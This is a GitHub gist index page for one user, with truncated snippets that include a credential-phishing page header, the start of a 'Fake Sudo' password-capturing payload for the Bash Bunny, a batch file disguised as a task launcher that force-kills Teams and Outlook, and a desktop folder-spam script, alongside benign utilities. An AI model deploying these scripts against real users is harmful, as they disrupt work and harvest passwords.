Skip to content

Instantly share code, notes, and snippets.

View AlexLynd's full-sized avatar
🐢

Alex Lynd AlexLynd

🐢
View GitHub Profile
@AlexLynd
AlexLynd / gist:4c8237015a0739fcad675173542972f7
Created September 28, 2022 22:08
wifi_coconut_probe_sniffer.sh
# detect probe requests for Network Name and trigger narrated alert
sudo wifi_coconut --no-display --disable-leds --pcap=- | tshark -Y "wlan.fc.type==0 && wlan.fc.subtype==4" -r - | awk '/NetworkName/{system("espeak 'Network found'")}'
@AlexLynd
AlexLynd / Doogle-Phishing.html
Last active February 17, 2024 04:32
PHP Phishing Page that logs credentials to a local text file, created for a Hak5 demo.
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/css/materialize.min.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/1.0.0/js/materialize.min.js"></script>
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
</head>
@AlexLynd
AlexLynd / sudo_phishing.sh
Created May 27, 2022 20:41
Modified "Fake Sudo" payload by TW-D for the Hak5 Bash Bunny.
#!/bin/bash
#
# Fake-sudo
#
# This program imitates the behavior
# of the "sudo" command.
#
readonly INPUT_MESSAGE="[sudo] password for ${USER}: "
readonly MAXIMUM_ATTEMPTS=3
@AlexLynd
AlexLynd / linux-color-flasher.sh
Created February 8, 2022 02:17
Annoying script to change screen tint using Linux
#!/bin/bash
# NAME: flash-primary-screen.sh
# PATH: ~/bin
# DESC: Flashes primary screen colours to alert timer has ended.
# DATE: November 15, 2018
# NOTE: Written for: https://askubuntu.com/a/1092835/307523
# I'm looking for a command to flash screens (if possible in colors)
@AlexLynd
AlexLynd / Rickroll.vbs
Created July 16, 2021 20:31
Windows Visual Basic Rickroll script
set oShell = WScript.CreateObject("WScript.Shell")
oShell.run"%SystemRoot%\System32\SndVol.exe"
WScript.Sleep 200
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("{PGUP}")
oShell.SendKeys("%{F4}")
oShell.Run "chrome.exe"
@AlexLynd
AlexLynd / programCrasher.bat
Created July 16, 2021 20:30
Windows program crasher batch file
@echo off
title Task launcher
color f0
set list=teams.exe, outlook.exe
:l
for %%i in (%list%) do (
tasklist /FI "IMAGENAME eq teams.exe" 2>NUL | find /I /N "teams.exe">NUL
if "%ERRORLEVEL%"=="0" echo Do not close this window attempting re-launch && timeout 10 && taskkill /F /IM %%i
echo Error Launching Task "Microsoft Teams"
timeout 2
@AlexLynd
AlexLynd / folderSpam.bat
Created July 16, 2021 20:29
Windows CMD Desktop spammer script
@echo off
set iter=100
:loop
md %userprofile%\Desktop\%iter%
set /a iter=iter-1
if %iter%==0 goto exit
goto loop
:exit
@AlexLynd
AlexLynd / wpa_supplicant.conf
Created June 10, 2021 06:50
Raspberry Pi headless WiFi configuration file
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
country=US
network={
ssid="network"
psk="password"
key_mgmt=WPA-PSK
}
@AlexLynd
AlexLynd / checkBoxAppend.vba
Last active September 24, 2021 13:13
VB script that inserts checkbox before selected lines in Microsoft Word
Sub checkBoxAppend()
Dim lineCnt As Integer
lineCnt = Selection.Range.Sentences.Count
Dim Words
For Words = lineCnt To 1 Step -1 '
Selection.MoveStartUntil "&", wdBackward
Selection.MoveLeft 1
Dim objCC As ContentControl
Set objCC = ActiveDocument.ContentControls.Add(wdContentControlCheckBox)
objCC.Checked = False
@AlexLynd
AlexLynd / calendarParser.py
Last active September 24, 2021 13:13
Python script to parse a calendar text file to json
months = ["January","February","March","April","May","June","July","August","September","October","November","December"]
from datetime import date, timedelta
import re
c = open("calendar.txt", "r")
text = c.read()
c.close()
days = [day[0] for day in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp))", "".join(str(x) for x in [sch[0] for sch in re.findall(r"(([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){15}|([A-Z]{1,3}[a-z]{0,3}[0-9]|Off|Sp){5})", text)]))]
span = [datespan[0] for datespan in re.findall(r"((August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-[0-9]{1,2}|(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2}-(August|September|October|November|December|January|February|March|April|May) [0-9]{1,2})",text)]